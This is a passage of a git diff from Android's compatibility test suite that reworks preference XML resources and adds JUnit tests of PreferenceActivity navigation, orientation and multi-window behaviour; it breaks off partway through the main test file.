+        android:summary="Launches an Intent.">
         <intent android:action="android.intent.action.VIEW"
                 android:data="http://www.android.com" />
     </header>
 
-</preference-headers>
+</preference-headers>
\ No newline at end of file
diff --git a/tests/tests/preference2/res/xml/preferences.xml b/tests/tests/preference2/res/xml/preferences.xml
index fa35107..c957c44 100755
--- a/tests/tests/preference2/res/xml/preferences.xml
+++ b/tests/tests/preference2/res/xml/preferences.xml
@@ -17,93 +17,104 @@
 <!-- This is a primitive example showing the different types of preferences available. -->
 
 <PreferenceScreen
-        xmlns:android="http://schemas.android.com/apk/res/android">
+    xmlns:android="http://schemas.android.com/apk/res/android">
 
     <PreferenceCategory
-            android:title="@string/inline_preferences">
- 
-        <CheckBoxPreference android:id="@+id/checkbox1"
-                android:key="checkbox_preference"
-                android:title="@string/title_checkbox_preference"
-                android:summary="@string/summary_checkbox_preference" />
+        android:title="Preferences panel 1">
+        <!-- This PreferenceScreen tag sends the user to a new fragment of
+            preferences.  If running in a large screen, they can be embedded
+            inside of the overall preferences UI. -->
+        <PreferenceScreen
+            android:fragment="android.preference2.cts.PreferenceWithHeaders$PrefsOneFragmentInner"
+            android:title="@string/title_fragment_preference"
+            android:summary="@string/summary_fragment_preference">
+            <!-- Arbitrary key/value pairs can be included for fragment arguments -->
+            <extra android:name="someKey" android:value="somePrefValue" />
+        </PreferenceScreen>
 
-        <SwitchPreference
-                android:key="checkbox_preference"
-                android:title="@string/title_switch_preference"
-                android:summary="@string/summary_switch_preference" />
+        <PreferenceScreen
+            android:title="@string/title_intent_preference"
+            android:summary="@string/summary_intent_preference">
 
-        <SwitchPreference
-                android:key="checkbox_preference"
-                android:title="@string/title_switch_preference"
-                android:summary="@string/summary_switch_preference_yes_no"
-                android:switchTextOn = "YES"
-                android:switchTextOff = "NO" />
+            <intent
+                android:action="android.intent.action.VIEW"
+                android:data="http://www.android.com" />
+
+        </PreferenceScreen>
     </PreferenceCategory>
 
     <PreferenceCategory
-            android:title="@string/dialog_based_preferences">
+        android:title="@string/dialog_based_preferences">
 
         <EditTextPreference
-                android:key="edittext_preference"
-                android:title="@string/title_edittext_preference"
-                android:summary="@string/summary_edittext_preference"
-                android:dialogTitle="@string/dialog_title_edittext_preference" />
+            android:key="edittext_preference"
+            android:title="@string/title_edittext_preference"
+            android:summary="@string/summary_edittext_preference"
+            android:dialogTitle="@string/dialog_title_edittext_preference" />
         <ListPreference
-                android:key="list_preference"
-                android:title="@string/title_list_preference"
-                android:summary="@string/summary_list_preference"
-                android:entries="@array/entries_list_preference"
-                android:entryValues="@array/entryvalues_list_preference"
-                android:dialogTitle="@string/dialog_title_list_preference" />
+            android:key="list_preference"
+            android:title="@string/title_list_preference"
+            android:summary="@string/summary_list_preference"
+            android:entries="@array/entries_list_preference"
+            android:entryValues="@array/entryvalues_list_preference"
+            android:dialogTitle="@string/dialog_title_list_preference" />
 
     </PreferenceCategory>
 
     <PreferenceCategory
-            android:title="@string/launch_preferences">
+        android:title="@string/launch_preferences">
+
+        <CheckBoxPreference
+            android:id="@+id/checkbox1"
+            android:key="checkbox_preference"
+            android:title="@string/title_checkbox_preference"
+            android:summary="@string/summary_checkbox_preference" />
+
+        <SwitchPreference
+            android:key="checkbox_preference"
+            android:title="@string/title_switch_preference"
+            android:summary="@string/summary_switch_preference" />
+
+        <SwitchPreference
+            android:key="checkbox_preference"
+            android:title="@string/title_switch_preference"
+            android:summary="@string/summary_switch_preference_yes_no"
+            android:switchTextOn = "YES"
+            android:switchTextOff = "NO" />
 
         <!-- This PreferenceScreen tag serves as a screen break (similar to page break
              in word processing). Like for other preference types, we assign a key
              here so it is able to save and restore its instance state. -->
         <PreferenceScreen
-                android:key="screen_preference"
-                android:title="@string/title_screen_preference"
-                android:summary="@string/summary_screen_preference">
+            android:key="screen_preference"
+            android:title="@string/title_screen_preference"
+            android:summary="@string/summary_screen_preference">
 
             <!-- You can place more preferences here that will be shown on the next screen. -->
 
             <CheckBoxPreference
-                    android:key="next_screen_checkbox_preference"
-                    android:title="@string/title_next_screen_toggle_preference"
-                    android:summary="@string/summary_next_screen_toggle_preference" />
+                android:key="next_screen_checkbox_preference"
+                android:title="@string/title_next_screen_toggle_preference"
+                android:summary="@string/summary_next_screen_toggle_preference" />
 
         </PreferenceScreen>
-
-        <PreferenceScreen
-                android:title="@string/title_intent_preference"
-                android:summary="@string/summary_intent_preference">
-
-            <intent android:action="android.intent.action.VIEW"
-                    android:data="http://www.android.com" />
-
-        </PreferenceScreen>
-
     </PreferenceCategory>
 
     <PreferenceCategory
-            android:title="@string/preference_attributes">
+        android:title="@string/preference_attributes">
 
         <CheckBoxPreference
-                android:key="parent_checkbox_preference"
-                android:title="@string/title_parent_preference"
-                android:summary="@string/summary_parent_preference" />
+            android:key="parent_checkbox_preference"
+            android:title="@string/title_parent_preference"
+            android:summary="@string/summary_parent_preference" />
 
         <!-- The visual style of a child is defined by this styled theme attribute. -->
         <CheckBoxPreference
-                android:key="child_checkbox_preference"
-                android:dependency="parent_checkbox_preference"
-                android:layout="?android:attr/preferenceLayoutChild"
-                android:title="@string/title_child_preference"
-                android:summary="@string/summary_child_preference" />
+            android:key="child_checkbox_preference"
+            android:dependency="parent_checkbox_preference"
+            android:layout="?android:attr/preferenceLayoutChild"
+            android:title="@string/title_child_preference"
+            android:summary="@string/summary_child_preference" />
     </PreferenceCategory>
 
 </PreferenceScreen>
diff --git a/tests/tests/preference2/res/xml/preferences2.xml b/tests/tests/preference2/res/xml/preferences2.xml
new file mode 100755
index 0000000..b484059
--- /dev/null
+++ b/tests/tests/preference2/res/xml/preferences2.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<PreferenceScreen
+    xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <PreferenceCategory
+        android:title="Preferences panel 2">
+
+        <CheckBoxPreference
+            android:id="@+id/checkbox12"
+            android:key="checkbox_preference2"
+            android:title="@string/title_checkbox_preference"
+            android:summary="@string/summary_checkbox_preference" />
+
+    </PreferenceCategory>
+
+</PreferenceScreen>
+
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
new file mode 100644
index 0000000..1da847e
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Landscape tests setup for {@link PreferenceActivityFlowTest}
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class PreferenceActivityFlowLandscapeTest extends PreferenceActivityFlowTest {
+
+    @Rule
+    public ActivityTestRule<PreferenceWithHeadersLandscape> mActivityRule =
+            new ActivityTestRule<>(PreferenceWithHeadersLandscape.class, false, false);
+
+    @Before
+    public void setup() {
+        mTestUtils = new TestUtils();
+    }
+
+    /**
+     * Landscape setup of {@link #switchHeadersInner}.
+     */
+    @Test
+    public void switchHeadersLandscapeTest() {
+        switchHeadersInner();
+    }
+
+    /**
+     * Landscape setup of {@link #smallScreenNoHighlightInHeadersListInner}.
+     */
+    @Test
+    public void smallScreenNoHighlightInHeadersListTest() {
+        smallScreenNoHighlightInHeadersListInner();
+    }
+
+    /**
+     * Landscape setup of {@link #backPressToExitInner}.
+     */
+    @Test
+    public void backPressToExitLandscapeTest() {
+        backPressToExitInner();
+    }
+
+    /**
+     * Landscape setup of {@link #goToFragmentInner}.
+     */
+    @Test
+    public void goToFragmentLandscapeTest() {
+        goToFragmentInner();
+    }
+
+    /**
+     * Landscape setup of {@link #startWithFragmentInner}.
+     */
+    @Test
+    public void startWithFragmentLandscapeTest() {
+        startWithFragmentInner();
+    }
+
+    /**
+     * Landscape setup of {@link #startWithFragmentAndRecreateInner}.
+     */
+    @Test
+    public void startWithFragmentAndRecreateLandscapeTest() {
+        startWithFragmentAndRecreateInner();
+    }
+
+
+    /**
+     * Landscape setup of {@link #startWithFragmentAndInitTitleInner}.
+     */
+    @Test
+    public void startWithFragmentAndInitTitleLandscapeTest() {
+        startWithFragmentAndInitTitleInner();
+    }
+
+    /**
+     * Landscape setup of {@link #startWithFragmentAndInitTitleMultiWindowInner}.
+     */
+    @Test
+    public void startWithFragmentAndInitTitleMultiWindowLandscapeTest() {
+        startWithFragmentAndInitTitleMultiWindowInner();
+    }
+
+    /**
+     * Landscape setup of {@link #startWithFragmentNoHeadersInner}.
+     */
+    @Test
+    public void startWithFragmentNoHeadersLandscapeTest() {
+        startWithFragmentNoHeadersInner();
+    }
+
+    /**
+     * Landscape setup of {@link #startWithFragmentNoHeadersButInitTitleInner}.
+     */
+    @Test
+    public void startWithFragmentNoHeadersButInitTitleLandscapeTest() {
+        startWithFragmentNoHeadersButInitTitleInner();
+    }
+
+    /**
+     * Landscape setup of {@link #startWithFragmentNoHeadersMultiWindowTest}.
+     */
+    @Test
+    public void startWithFragmentNoHeadersMultiWindowLandscapeTest() {
+        startWithFragmentNoHeadersMultiWindowTest();
+    }
+
+    /**
+     * Landscape setup of {@link #listDialogTest}.
+     */
+    @Test
+    public void listDialogLandscapeTest() {
+        listDialogTest();
+    }
+
+    /**
+     * Landscape setup of {@link #recreateTest}.
+     */
+    @Test
+    public void recreateLandscapeTest() {
+        recreateTest();
+    }
+
+    /**
+     * Landscape setup of {@link #recreateInnerFragmentTest}.
+     */
+    @Test
+    public void recreateInnerFragmentLandscapeTest() {
+        recreateInnerFragmentTest();
+    }
+
+    /**
+     * Landscape setup of {@link #multiWindowInOutTest}.
+     */
+    @Test
+    public void multiWindowInOutLandscapeTest() {
+        multiWindowInOutTest();
+    }
+
+    /**
+     * Landscape setup of {@link #multiWindowInnerFragmentInOutTest}.
+     */
+    @Test
+    public void multiWindowInnerFragmentInOutLandscapeTest() {
+        multiWindowInnerFragmentInOutTest();
+    }
+
+    /**
+     * Landscape setup of {@link #multiWindowInitialHeaderOnBackTest}.
+     */
+    @Test
+    public void multiWindowInitialHeaderOnBackLandscapeTest() {
+        multiWindowInitialHeaderOnBackTest();
+    }
+
+    /**
+     * Landscape setup of {@link #multiWindowHistoryPreserveTest}.
+     */
+    @Test
+    public void multiWindowHistoryPreserveLandscapeTest() {
+        multiWindowHistoryPreserveTest();
+    }
+
+    @Override
+    protected PreferenceWithHeaders launchActivity(Intent intent) {
+        if (intent != null) {
+            intent.setClass(InstrumentationRegistry.getTargetContext(),
+                    PreferenceWithHeadersLandscape.class);
+        }
+        return mActivityRule.launchActivity(intent);
+    }
+
+    @Override
+    protected void runOnUiThread(final Runnable runnable) {
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                runnable.run();
+            });
+        } catch (Throwable ex) {
+            throw new RuntimeException("Failure on the UI thread", ex);
+        }
+    }
+
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
new file mode 100644
index 0000000..1fd6b4d
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import android.content.Intent;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Portrait tests setup for {@link PreferenceActivityFlowTest}
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class PreferenceActivityFlowPortraitTest extends PreferenceActivityFlowTest {
+
+    @Rule
+    public ActivityTestRule<PreferenceWithHeadersPortrait> mActivityRule =
+            new ActivityTestRule<>(PreferenceWithHeadersPortrait.class, false, false);
+
+    @Before
+    public void setup() {
+        mTestUtils = new TestUtils();
+    }
+
+    /**
+     * Portrait setup of {@link #switchHeadersInner}.
+     */
+    @Test
+    public void switchHeadersPortraitTest() {
+        switchHeadersInner();
+    }
+
+    /**
+     * Portrait setup of {@link #smallScreenNoHighlightInHeadersListInner}.
+     */
+    @Test
+    public void smallScreenNoHighlightInHeadersListTest() {
+        smallScreenNoHighlightInHeadersListInner();
+    }
+
+    /**
+     * Portrait setup of {@link #backPressToExitInner}.
+     */
+    @Test
+    public void backPressToExitPortraitTest() {
+        backPressToExitInner();
+    }
+
+    /**
+     * Portrait setup of {@link #goToFragmentInner}.
+     */
+    @Test
+    public void goToFragmentPortraitTest() {
+        goToFragmentInner();
+    }
+
+    /**
+     * Portrait setup of {@link #startWithFragmentInner}.
+     */
+    @Test
+    public void startWithFragmentPortraitTest() {
+        startWithFragmentInner();
+    }
+
+    /**
+     * Portrait setup of {@link #startWithFragmentAndRecreateInner}.
+     */
+    @Test
+    public void startWithFragmentAndRecreatePortraitTest() {
+        startWithFragmentAndRecreateInner();
+    }
+
+
+    /**
+     * Portrait setup of {@link #startWithFragmentAndInitTitleInner}.
+     */
+    @Test
+    public void startWithFragmentAndInitTitlePortraitTest() {
+        startWithFragmentAndInitTitleInner();
+    }
+
+    /**
+     * Portrait setup of {@link #startWithFragmentAndInitTitleMultiWindowInner}.
+     */
+    @Test
+    public void startWithFragmentAndInitTitleMultiWindowPortraitTest() {
+        startWithFragmentAndInitTitleMultiWindowInner();
+    }
+
+    /**
+     * Portrait setup of {@link #startWithFragmentNoHeadersInner}.
+     */
+    @Test
+    public void startWithFragmentNoHeadersPortraitTest() {
+        startWithFragmentNoHeadersInner();
+    }
+
+    /**
+     * Portrait setup of {@link #startWithFragmentNoHeadersButInitTitleInner}.
+     */
+    @Test
+    public void startWithFragmentNoHeadersButInitTitlePortraitTest() {
+        startWithFragmentNoHeadersButInitTitleInner();
+    }
+
+    /**
+     * Portrait setup of {@link #startWithFragmentNoHeadersMultiWindowTest}.
+     */
+    @Test
+    public void startWithFragmentNoHeadersMultiWindowPortraitTest() {
+        startWithFragmentNoHeadersMultiWindowTest();
+    }
+
+    /**
+     * Portrait setup of {@link #listDialogTest}.
+     */
+    @Test
+    public void listDialogPortraitTest() {
+        listDialogTest();
+    }
+
+    /**
+     * Portrait setup of {@link #recreateTest}.
+     */
+    @Test
+    public void recreatePortraitTest() {
+        recreateTest();
+    }
+
+    /**
+     * Portrait setup of {@link #recreateInnerFragmentTest}.
+     */
+    @Test
+    public void recreateInnerFragmentPortraitTest() {
+        recreateInnerFragmentTest();
+    }
+
+    /**
+     * Portrait setup of {@link #multiWindowInOutTest}.
+     */
+    @Test
+    public void multiWindowInOutPortraitTest() {
+        multiWindowInOutTest();
+    }
+
+    /**
+     * Portrait setup of {@link #multiWindowInnerFragmentInOutTest}.
+     */
+    @Test
+    public void multiWindowInnerFragmentInOutPortraitTest() {
+        multiWindowInnerFragmentInOutTest();
+    }
+
+    /**
+     * Portrait setup of {@link #multiWindowInitialHeaderOnBackTest}.
+     */
+    @Test
+    public void multiWindowInitialHeaderOnBackPortraitTest() {
+        multiWindowInitialHeaderOnBackTest();
+    }
+
+    /**
+     * Portrait setup of {@link #multiWindowHistoryPreserveTest}.
+     */
+    @Test
+    public void multiWindowHistoryPreservePortraitTest() {
+        multiWindowHistoryPreserveTest();
+    }
+
+    @Override
+    protected PreferenceWithHeaders launchActivity(Intent intent) {
+        if (intent != null) {
+            intent.setClass(InstrumentationRegistry.getTargetContext(),
+                    PreferenceWithHeadersPortrait.class);
+        }
+        return mActivityRule.launchActivity(intent);
+    }
+
+    @Override
+    protected void runOnUiThread(final Runnable runnable) {
+        try {
+            mActivityRule.runOnUiThread(() -> {
+                runnable.run();
+            });
+        } catch (Throwable ex) {
+            throw new RuntimeException("Failure on the UI thread", ex);
+        }
+    }
+
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
new file mode 100644
index 0000000..731dbfb
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowTest.java
@@ -0,0 +1,839 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import static android.preference.PreferenceActivity.EXTRA_NO_HEADERS;
+import static android.preference.PreferenceActivity.EXTRA_SHOW_FRAGMENT;
+import static android.preference.PreferenceActivity.EXTRA_SHOW_FRAGMENT_TITLE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.os.SystemClock;
+import android.preference2.cts.R;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BitmapUtils;
+
+/**
+ * This test suite covers {@link android.preference.PreferenceActivity} to ensure its correct
+ * behavior in orientation and multi-window changes together with navigation between different
+ * screens and going back in the history. It should also cover any possible transition between
+ * single and multi pane modes. Some tests are designed to run only on large or small screen devices
+ * and some can run both. These tests are run from {@link PreferenceActivityFlowLandscapeTest} and
+ * {@link PreferenceActivityFlowPortraitTest} to ensure that both display configurations are
+ * checked.
+ */
+public abstract class PreferenceActivityFlowTest {
+
+    private static final String TAG = "PreferenceFlowTest";
+
+    // Helper strings to ensure that some parts of preferences are visible or not.
+    private static final String PREFS1_HEADER_TITLE = "Prefs 1";
+    private static final String PREFS2_HEADER_TITLE = "Prefs 2";
+    private static final String PREFS1_PANEL_TITLE = "Preferences panel 1";
+    private static final String PREFS2_PANEL_TITLE = "Preferences panel 2";
+    private static final String INNER_FRAGMENT_PREF_BUTTON = "Fragment preference";
+    private static final String INNER_FRAGMENT_PREF_TITLE = "Inner fragment";
+    private static final String LIST_PREF_TITLE = "List preference";
+    private static final String LIST_PREF_OPTION = "alpha";
+
+    private static final int INITIAL_TITLE_RES_ID = R.string.test_title;
+    private static final int EXPECTED_HEADERS_COUNT = 3;
+
+    TestUtils mTestUtils;
+    protected PreferenceWithHeaders mActivity;
+    private boolean mIsMultiPane;
+
+    void switchHeadersInner() {
+        launchActivity();
+        if (shouldRunLargeDeviceTest()) {
+            largeScreenSwitchHeadersInner();
+        } else {
+            smallScreenSwitchHeadersInner();
+        }
+    }
+
+    /**
+     * For: Large screen (multi-pane).
+     * Scenario: Tests that tapping on header changes to its proper preference panel and that the
+     * headers are still visible.
+     */
+    private void largeScreenSwitchHeadersInner() {
+        assertTrue(shouldRunLargeDeviceTest());
+        assertInitialState();
+
+        tapOnPrefs2Header();
+
+        // Headers and panel Prefs2 must be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Shown();
+
+        tapOnPrefs1Header();
+
+        // Headers and panel Prefs1 must be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+    }
+
+    /**
+     * For: Small screen (single-pane).
+     * Scenario: Tests that tapping on header changes to its proper preference panel and that the
+     * headers are hidden and pressing back button after that shows them again.
+     */
+    private void smallScreenSwitchHeadersInner() {
+        assertTrue(shouldRunSmallDeviceTest());
+        assertInitialState();
+
+        tapOnPrefs2Header();
+
+        // Only Prefs2 must be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Shown();
+
+        pressBack();
+
+        tapOnPrefs1Header();
+
+        // Only Prefs1 must be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+    }
+
+    /**
+     * For: Small screen (single-pane).
+     * Scenario: Tests that after navigating back to the headers list there will be no header
+     * highlighted and that the title was properly restored..
+     */
+    void smallScreenNoHighlightInHeadersListInner() {
+        launchActivity();
+        if (!shouldRunSmallDeviceTest()) {
+            return;
+        }
+
+        assertInitialState();
+
+        CharSequence title = mActivity.getTitle();
+
+        tapOnPrefs2Header();
+        assertHeadersHidden();
+
+        pressBack();
+        assertHeadersShown();
+
+        // Verify that no headers are focused.
+        assertHeadersNotFocused();
+
+        // Verify that the title was properly restored.
+        assertEquals(title, mActivity.getTitle());
+
+        // Verify that everthing restores back to initial state again.
+        assertInitialState();
+    }
+
+    void backPressToExitInner() {
+        launchActivity();
+        if (shouldRunLargeDeviceTest()) {
+            largeScreenBackPressToExitInner();
+        } else {
+            smallScreenBackPressToExitInner();
+        }
+    }
+
+    /**
+     * For: Small screen (single-pane).
+     * Scenario: Tests that pressing back button twice after having preference panel opened will
+     * exit the app when running single-pane.
+     */
+    private void smallScreenBackPressToExitInner() {
+        assertTrue(shouldRunSmallDeviceTest());
+        assertInitialState();
+
+        tapOnPrefs2Header();
+
+        // Only Prefs2 must be shown - covered by smallScreenSwitchHeadersTest
+
+        pressBack();
+        pressBack();
+
+        // Now we should be out of the activity
+        assertHeadersHidden();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Hidden();
+    }
+
+    /**
+     * For: Large screen (multi-pane).
+     * Scenario: Selects a header and then leaves the activity by pressing back button. Tests that
+     * we don't transition to the previous header or list of header like in single-pane.
+     */
+    private void largeScreenBackPressToExitInner() {
+        assertTrue(shouldRunLargeDeviceTest());
+        assertInitialState();
+
+        tapOnPrefs2Header();
+
+        // Headers and panel Prefs2 must be shown - covered by largeScreenSwitchHeadersInner.
+
+        pressBack();
+
+        assertHeadersHidden();
+    }
+
+    void goToFragmentInner() {
+        launchActivity();
+        if (shouldRunLargeDeviceTest()) {
+            largeScreenGoToFragmentInner();
+        } else {
+            smallScreenGoToFragmentInner();
+        }
+    }
+
+    /**
+     * For: Large screen (multi-pane).
+     * Scenario: Navigates to inner fragment. Test that the fragment was opened correctly and
+     * headers are still visible. Also tests that back press doesn't close the app but navigates
+     * back from the fragment.
+     */
+    private void largeScreenGoToFragmentInner() {
+        assertTrue(shouldRunLargeDeviceTest());
+        assertInitialState();
+
+        tapOnPrefs1Header();
+
+        // Go to preferences inner fragment.
+        mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
+
+        // Headers and inner fragment must be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Hidden();
+        assertInnerFragmentShown();
+
+        pressBack();
+
+        // Headers and panel Prefs1 must be shown.
+        assertHeadersShown();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+        assertInnerFragmentHidden();
+    }
+
+    /**
+     * For: Small screen (single-pane).
+     * Scenario: Navigates to inner fragment. Tests that the fragment was opened correctly and
+     * headers are hidden. Also tests that back press doesn't close the app but navigates back from
+     * the fragment.
+     */
+    private void smallScreenGoToFragmentInner() {
+        assertTrue(shouldRunSmallDeviceTest());
+        assertInitialState();
+
+        tapOnPrefs1Header();
+
+        // Go to preferences inner fragment.
+        mTestUtils.tapOnViewWithText(INNER_FRAGMENT_PREF_BUTTON);
+
+        // Only inner fragment must be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Hidden();
+        assertInnerFragmentShown();
+
+        pressBack();
+
+        // Prefs1 must be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Shown();
+        assertPanelPrefs2Hidden();
+        assertInnerFragmentHidden();
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that opening specific preference fragment directly via intent works properly.
+     */
+    void startWithFragmentInner() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                false /* noHeaders */, -1 /* initialTitle */);
+
+        assertInitialStateForFragment();
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that preference fragment opened directly survives recreation (via screenshot
+     * tests).
+     */
+    void startWithFragmentAndRecreateInner() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                false /* noHeaders */, -1 /* initialTitle */);
+
+        assertInitialStateForFragment();
+
+        // Take screenshot
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        // Force recreate
+        recreate();
+
+        assertInitialStateForFragment();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Starts preference fragment directly with the given initial title and tests that
+     * multi-pane does not show it and single-pane does.
+     */
+    void startWithFragmentAndInitTitleInner() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                false /* noHeaders */, INITIAL_TITLE_RES_ID);
+
+        assertInitialStateForFragment();
+
+        if (mIsMultiPane) {
+            String testTitle = mActivity.getResources().getString(INITIAL_TITLE_RES_ID);
+            // Title should not be shown.
+            assertTextHidden(testTitle);
+        } else {
+            // Title should be shown.
+            assertTitleShown();
+        }
+    }
+
+    /**
+     * For: Large screen (multi-pane).
+     * Scenario: Tests that initial title is displayed or hidden properly when transitioning in and
+     * out of the multi-window mode.
+     */
+    void startWithFragmentAndInitTitleMultiWindowInner() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                false /* noHeaders */, INITIAL_TITLE_RES_ID);
+        if (!shouldRunLargeDeviceTest()) {
+            return;
+        }
+
+        assertInitialStateForFragment();
+        String testTitle = mActivity.getResources().getString(INITIAL_TITLE_RES_ID);
+
+        // Title should not be shown (we are in multi-pane).
+        assertFalse(mTestUtils.isTextShown(testTitle));
+
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.getMultiWindowFocus(mActivity);
+
+        // Title should be shown (we are in single-pane).
+        assertTextShown(testTitle);
+
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        // Title should not be shown (we are back in multi-pane).
+        assertTextHidden(testTitle);
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that EXTRA_NO_HEADERS intent arg that prevents showing headers in multi-pane
+     * is applied correctly.
+     */
+    void startWithFragmentNoHeadersInner() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                true /* noHeaders */, -1 /* initialTitle */);
+
+        assertInitialStateForFragment();
+        // Only Prefs2 should be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Shown();
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that EXTRA_NO_HEADERS intent arg that prevents showing headers in multi-pane
+     * is applied correctly plus initial title is displayed.
+     */
+    void startWithFragmentNoHeadersButInitTitleInner() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                true /* noHeaders */, INITIAL_TITLE_RES_ID);
+
+        assertInitialStateForFragment();
+        // Only Prefs2 should be shown.
+        assertHeadersHidden();
+        assertPanelPrefs1Hidden();
+        assertPanelPrefs2Shown();
+
+        assertTitleShown();
+    }
+
+    /**
+     * For: Any screen (single or multi-pane).
+     * Scenario: Tests that EXTRA_NO_HEADERS intent arg that prevents showing headers survives
+     * correctly multi-window changes. Tested via screenshots.
+     */
+    void startWithFragmentNoHeadersMultiWindowTest() {
+        launchActivityWithExtras(PreferenceWithHeaders.PrefsTwoFragment.class,
+                true /* noHeaders */, -1 /* initialTitle */);
+
+        assertInitialStateForFragment();
+
+        // Workaround for some focus bug in the framework
+        mTestUtils.tapOnViewWithText(PREFS2_PANEL_TITLE);
+
+        // Take screenshot
+        Bitmap before = mTestUtils.takeScreenshot();
+
+        // Enter and leave multi-window.
+        mTestUtils.enterMultiWindow(mActivity);
+        mTestUtils.leaveMultiWindow(mActivity);
+
+        assertInitialStateForFragment();
+
+        // Compare screenshots
+        Bitmap after = mTestUtils.takeScreenshot();
+        assertScreenshotsAreEqual(before, after);
+    }
+
+    /**
